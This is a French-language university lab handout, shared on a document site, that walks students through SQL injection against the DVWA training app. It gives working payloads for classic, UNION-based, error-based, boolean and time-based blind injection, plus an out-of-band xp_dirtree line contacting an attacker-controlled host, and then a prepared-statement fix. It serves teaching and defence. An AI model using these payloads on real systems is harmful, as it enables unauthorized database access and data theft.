0% ont trouvé ce document utile (0 vote)
19 vues4 pages

TP1 - Injection SQL

Le document présente un TP sur les injections SQL, visant à comprendre les différents types d'injections et à proposer des stratégies de remédiation. Il décrit les étapes pour réaliser des injections SQL classiques, basées sur UNION, d'erreur, et aveugles, ainsi que des techniques avancées comme l'injection temporelle et out-of-band. Enfin, il propose des mesures de sécurité et demande un compte-rendu détaillant les tests effectués et les solutions proposées.

Transféré par

S2Bros
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
19 vues4 pages

TP1 - Injection SQL

Le document présente un TP sur les injections SQL, visant à comprendre les différents types d'injections et à proposer des stratégies de remédiation. Il décrit les étapes pour réaliser des injections SQL classiques, basées sur UNION, d'erreur, et aveugles, ainsi que des techniques avancées comme l'injection temporelle et out-of-band. Enfin, il propose des mesures de sécurité et demande un compte-rendu détaillant les tests effectués et les solutions proposées.

Transféré par

S2Bros
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Sécurité des applications web & mobile

TP1 - Injection SQL


Objectifs du TP
• Comprendre les différents types d'injection SQL
• Manipuler les niveaux de sécurité de DVWA
• Proposer des stratégies de remédiation

Configuration
1. Installer DVWA GitHub
2. Lance DVWA et connecte-toi (admin / password).
3. Régle le niveau de sécurité dans DVWA à Low :

DVWA Security → Low → Submit

4. Va dans le module :

Vulnerabilities > SQL Injection

1. Injection SQL Classique


Objectif :

Bypasser la logique de filtrage pour obtenir tous les utilisateurs.

Actions :

• Dans le champ “User ID”, entre :


1' OR '1'='1

• Observe la réponse : tous les utilisateurs s’affichent.


Variante :
• Essaye :
1' OR 1=1 --

ou
' OR 'a'='a

Question : Que se passe-t-il ? Pourquoi tous les utilisateurs s’affichent ?

2. Injection UNION-Based
Objectif :

Récupérer d’autres données via l'opérateur UNION.

1
Sécurité des applications web & mobile

Étapes :

1. Teste combien de colonnes la requête retourne :

1' UNION SELECT NULL -- (erreur)


1' UNION SELECT NULL, NULL -- (succès)

2. Affiche la version du SGBD :

1' UNION SELECT NULL, version() --

3. Affiche le nom de la base :

1' UNION SELECT NULL, database() --

Question : Que permet le mot-clé UNION dans ce contexte ?

3. Injection Error-Based
Objectif :

Exploiter les messages d’erreur SQL pour extraire des infos.

Payload :
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT user()), 0x3a,
FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) a) --

Résultat :

Une erreur SQL contenant le nom d'utilisateur de la base (ex. dvwa@localhost).

Pourquoi cette erreur donne-t-elle de l'information utile ?

4. Blind SQL Injection (Booléenne)


Objectif :

Tester des conditions vraies ou fausses sans retour d'erreur.

Étapes :

1. Entrer :

1' AND 1=1 --

→ Résultat normal

2. Puis :

2
Sécurité des applications web & mobile

1' AND 1=2 --

→ Aucun résultat

3. Test avancé :

1' AND SUBSTRING((SELECT user()),1,1)='r' --

→ Deviner caractère par caractère

Question : Que peut-on faire en répétant cette technique ?

5. Blind SQL Injection Temporelle


Objectif :

Utiliser le temps de réponse pour valider une condition.

Payload :
1' AND IF(SUBSTRING((SELECT database()),1,1)='d', SLEEP(5), 0) --

Si la page met 5 secondes à répondre, c’est que la première lettre de la BDD est bien d.

Question : Pourquoi cette attaque est plus discrète que les autres ?

6. Injection Out-of-Band (optionnel)


Objectif :

Exploiter un canal externe comme le DNS ou HTTP.

Cette attaque nécessite un serveur que tu contrôles (ex. via Burp Collaborator ou serveur
DNS externe).

Exemple (si le serveur a les droits nécessaires) :


1'; exec xp_dirtree '\\[Link]\test' --

Ici, le serveur essaiera de contacter [Link], permettant à l'attaquant de valider que


l’injection a fonctionné.

Question : Dans quel cas utiliser cette attaque plutôt qu’une autre ?

Analyse et remédiation
1. Passe DVWA en mode Medium, puis High.
2. Recommence les attaques précédentes.
3. Observe :

3
Sécurité des applications web & mobile

oQu’est-ce qui est filtré ?


oQuelles attaques échouent ?
4. Analyse le code source des fichiers PHP dans :

dvwa/vulnerabilities/sqli/source/

Proposition de correction :

Réécris la requête avec PDO et requête préparée :

$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");


$stmt->execute([$_GET['id']]);

À rendre (compte-rendu)
Chaque étudiant devra rendre un document avec :

• Les types d'injection testés


• Payloads utilisés
• Captures d'écran
• Résultats obtenus
• Contre-mesures proposées
• Réflexion finale : "Comment prévenir ce type de vulnérabilité dans un projet réel ?"

Vous aimerez peut-être aussi